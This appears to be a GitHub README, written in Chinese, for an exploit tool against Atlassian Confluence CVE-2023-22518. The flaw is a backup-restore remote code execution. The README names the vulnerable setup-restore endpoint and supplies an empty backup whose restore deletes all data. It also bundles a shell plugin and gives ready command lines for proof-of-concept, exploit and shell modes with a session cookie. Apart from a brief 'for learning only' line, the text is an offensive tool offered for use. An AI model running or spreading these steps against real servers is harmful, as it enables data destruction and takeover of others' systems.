c1ph3rx13/cve-2023-22518Confluence CVE-2023-22518
Confluence CVE-2023-22518 漏洞利用 (备份恢复远程代码执行)
POST /setup/setup-restore.action
需要有效登录和管理员权限（或绕过身份验证）
xmlexport-20231127-071916-1.zip – 空的 Confluence 备份。恢复此备份将删除所有数据！！！
替换为任何备份；将其与脚本放在同一文件夹中。shellplug.jar – 获取 shell 的插件，来自 CVE-2023-22515_RCE。python .\CVE-2023-22518.py -h
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██╗ █████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗██╔════╝███║██╔══██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝███████╗╚██║╚█████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝██╔═══╝ ██╔═══╝ ╚════██║ ██║██╔══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ███████╗███████╗███████║ ██║╚█████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚════╝
@Auth: C1ph3rX13
@Blog: https://c1ph3rx13.github.io
@Note: 代码仅供学习使用，请勿用于其他用途
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target Url
-id JSESSIONID, --jsessionid JSESSIONID
JSESSIONID
--timeout TIMEOUT Timeout (Default: 30 Seconds)
--proxy PROXY Proxy
python .\CVE-2023-22518.py poc -t http://IP:Port
Cookie:
JSESSIONID=754BEE347CD53ECB342B74CFFDD33B4D
python .\CVE-2023-22518.py exp -t http://IP:Port -id 754BEE347CD53ECB342B74CFFDD33B4D
Cookie:
JSESSIONID=754BEE347CD53ECB342B74CFFDD33B4D
python .\CVE-2023-22518.py shell -t http://IP:Port -id 754BEE347CD53ECB342B74CFFDD33B4D
